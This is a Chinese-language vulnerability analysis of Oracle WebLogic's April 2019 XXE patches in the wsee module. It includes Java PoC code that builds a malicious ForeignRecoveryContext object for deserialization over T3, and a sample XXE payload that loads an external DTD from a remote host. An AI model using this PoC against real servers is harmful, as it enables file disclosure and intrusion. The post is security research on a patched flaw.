作者:廖新喜
公眾號:https://mp.weixin.qq.com/s/lU42iaR29n2zI4_v9k1SuA

背景

按照慣例,Oracle發布了4月份的補丁,詳情見鏈接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW)一看就是一堆漏洞,高危的還好幾個。

0

CVSS 評分為9.8的暫且不分析,我們先來看看wsee模塊下的幾個XXE漏洞,都是給的7.5的評分。在這些漏洞中要數@Matthias Kaiser的貢獻最大,高危的都是他提交的。

簡單分析

從補丁對比文件來看,在wsee模塊下有5個都加了xxe的防護,那我們就從xxe漏洞入手。有一個新增的文件WSATStreamHelper.java,核心代碼如下:

package weblogic.wsee.wstx.wsat;
import ...
public class WSATStreamHelper {
   public static Source convert(InputStream in) {
      SAXParserFactory spf = SAXParserFactory.newInstance();
      SAXSource xmlSource = null;

      try {
         spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
         spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
         spf.setFeature("http://xml.org/sax/features/validation", false);
         spf.setNamespaceAware(true);
         spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
         xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(in));
      } catch (Exception var4) {
         if (WSATHelper.isDebugEnabled()) {
            WSATHelper.getInstance().debug("Failed to call setFeature in SAXParserFactory. ");
         }
      }

      return xmlSource;
   }
}

稍微懂點xxe漏洞的人都知道這是xxe的防護代碼,這個文件新加到了ForeignRecoveryContext.javaWSATXAResource.java中,就拿ForeignRecoveryContext來入手。其修復后的代碼如下:

   public void readExternal(ObjectInput in) throws ClassNotFoundException, IOException {
      klassVersion = in.readInt();
      this.fxid = (Xid)in.readObject();
      this.debug("ForeignRecoveryContext.readExternal tid:" + this.fxid);
      this.version = (Version)in.readObject();
      int len = in.readInt();
      byte[] eprBytes = new byte[len];
      in.readFully(eprBytes);
      this.epr = EndpointReference.readFrom(WSATStreamHelper.convert(new ByteArrayInputStream(eprBytes)));
      this.debug("ForeignRecoveryContext.readExternal EndpointReference:" + this.epr);
      ForeignRecoveryContextManager.getInstance().add(this);
   }

仔細對比下來就是EndpointReference.readFrom(WSATStreamHelper.convert(new ByteArrayInputStream(eprBytes)));WSATStreamHelper.convert是新加的,從前面代碼中也可以看到在convert的過程中啟用了xxe防護。再一看這個函數還是readExternal,這不就是典型的反序列化漏洞的入口嗎?看官看到這就知道payload怎么來了,最典型的就是通過T3協議,如下就是如何構造PoC了。

PoC構造

構造PoC還是有些彎路的,最典型的就是為什么拿ForeignRecoveryContext.java入手,其實看官可以嘗試些其他漏洞點,構造的時候會遇到一些問題,有些問題不好一時解決所以就轉到ForeignRecoveryContext.java。言歸正傳,詳細的構造如下:

public static class MyEndpointReference extends EndpointReference{
    public  void writeTo(Result result){
        byte[] tmpbytes = new byte[4096];
        int nRead;
        try{
            InputStream is = new FileInputStream(new File("test.xml"));

            while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
                ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
        return;
    }
}

public static Object getXXEObject(String command) {
int klassVersion = 1032;
Xid xid = new weblogic.transaction.internal.XidImpl();
Version v = Version.DEFAULT;
byte[] tid = new byte[]{65};

weblogic.wsee.wstx.internal.ForeignRecoveryContext frc = new weblogic.wsee.wstx.internal.ForeignRecoveryContext();
try{
Field f = frc.getClass().getDeclaredField("fxid");
f.setAccessible(true);
f.set(frc,xid);
Field f1 = frc.getClass().getDeclaredField("epr");
f1.setAccessible(true);
f1.set(frc,(EndpointReference)new MyEndpointReference());
Field f2 = frc.getClass().getDeclaredField("version");
f2.setAccessible(true);
f2.set(frc,v);
}catch(Exception e){
e.printStackTrace();
}
return frc;
}

test.xml的內容可以是任意的xxe的payload:比如說如下,xxe,測試payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://xxlegend.com/weblogic" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data>4</data>

關鍵點都展示完了,秀一下成果。

成果

可以看到調用棧如下:

2


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/900/